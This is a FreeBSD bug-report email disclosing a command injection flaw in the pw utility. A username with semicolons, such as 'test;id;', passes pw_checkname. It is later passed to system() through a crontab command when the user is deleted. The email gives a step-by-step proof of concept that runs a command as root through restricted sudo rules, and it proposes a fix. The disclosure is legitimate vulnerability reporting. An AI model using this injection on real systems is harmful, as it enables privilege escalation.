[Bug 271427] FreeBSD pw command injection vulnerability

From: <bugzilla-noreply_at_freebsd.org>
Date: Mon, 15 May 2023 06:09:40 UTC
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=271427

            Bug ID: 271427
           Summary: FreeBSD pw command injection vulnerability
           Product: Base System
           Version: 13.2-RELEASE
          Hardware: Any
                OS: Any
            Status: New
          Severity: Affects Only Me
          Priority: ---
         Component: standards
          Assignee: standards@FreeBSD.org
          Reporter: 858573819@qq.com

Created attachment 242180
  --> https://bugs.freebsd.org/bugzilla/attachment.cgi?id=242180&action=edit
the describtion of the bug

================================================
Summary
================================================

I found a command injection vulnerability in the /usr/sbin/pw 
and tested it successfully on FreeBSD 13.2-RELEASE.

================================================
Analysis
================================================

In usr.sbin/pw/pw_user.c file, the pw_checkname function's badchars filtering
of 
malicious characters is not strict, such as no filtering of semicolons( ; ).
badchars filtering is  as below:

-----------------------------------------
char *
pw_checkname(char *name, int gecos)
{
        char showch[8];
        const char *badchars, *ch, *showtype;
        int reject;

        ch = name;
        reject = 0;
        if (gecos) {
                /* See if the name is valid as a gecos (comment) field. */
                badchars = ":";
                showtype = "gecos field";
        } else {
                /* See if the name is valid as a userid or group. */
                badchars = " ,\t:+&#%$^()!@~*?<>=|\\/\"";
                showtype = "userid/group name";
                /* Userids and groups can not have a leading '-'. */
                if (*ch == '-')
                        reject = 1;
        }
----------------------------------------------------------

So I can use the command: pw add user 'test;id;' 
to bypass the malicious character check above and 
a user named 'test;id;'

-----------------------------------------------------------
buff@freebsd:~ $ sudo pw user add 'test;id;'
buff@freebsd:~ $ sudo pw user show 'test;id;'
test;id;:*:1003:1003::0:0:User &:/home/test;id;:/bin/sh
------------------------------------------------------------------------------------------------------

In the pw_user_del function, when deleting a user, the related crontab tasks
will also be 
deleted by using the system() function to execute the contab command.

------------------------------------------------------------------------------------------------------
if (!PWALTDIR()) {
                /* Remove crontabs */
                snprintf(file, sizeof(file), "/var/cron/tabs/%s",
pwd->pw_name);
                if (access(file, F_OK) == 0) {
                        // crontab -u test;id; -r
                        snprintf(file, sizeof(file), "crontab -u %s -r",
                            pwd->pw_name);
                        system(file);
                }
        }
-----------------------------------------------------------------------------

If we have a username called 'test;id;', so the system(file) is equal to 
system("crontab -u test;id;-r "), this command will successfully execute 
the id command.

-----------------------------------------------------------------------------
buff@freebsd:~ $ crontab -u test;id;-r
crontab: must be privileged to use -u
uid=1001(buff) gid=1001(buff) groups=1001(buff)
-sh: -r: not found
------------------------------------------------------------------------------

================================================
Attack case
================================================

My account( buff ) is just running the `pw`  and `crontab` using for sudo, and
the 
contents of sudoers are as follows:

---------------------------------------------------
buff ALL=(root) NOPASSWD:/usr/sbin/pw
buff ALL=(root) NOPASSWD:/usr/bin/crontab
---------------------------------------------------

Next, I created a malicious username using `pw`.

------------------------------------------------------------
buff@freebsd:~ $ sudo pw user add 'test;id;'
buff@freebsd:~ $ sudo pw user show 'test;id;'
test;id;:*:1003:1003::0:0:User &:/home/test;id;:/bin/sh
buff@freebsd:~ $
-------------------------------------------------------------------------

Then, I used crontab to create a task for the username 'test;id;'.

-------------------------------------------------------------------------
buff@freebsd:~ $ sudo crontab -u 'test;id;' -l
5 * * * * ls
buff@freebsd:~ $
-------------------------------------------------------------------------

Finally, using the `pw user del 'test;id;'` command will delete the 
user and its corresponding crontab task, and execute the 
malicious injected `id` command.

-------------------------------------------------------------------------
buff@freebsd:~ $ sudo pw user del 'test;id;'
crontab: user `test' unknown
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
sh: -r: not found
buff@freebsd:~ $
-------------------------------------------------------------------------

================================================
Patch
================================================

Enhance the badchars in the pw_checkname function by adding 
semicolons and other characters that may cause malicious 
command injection.

-- 
You are receiving this mail because:
You are the assignee for the bug.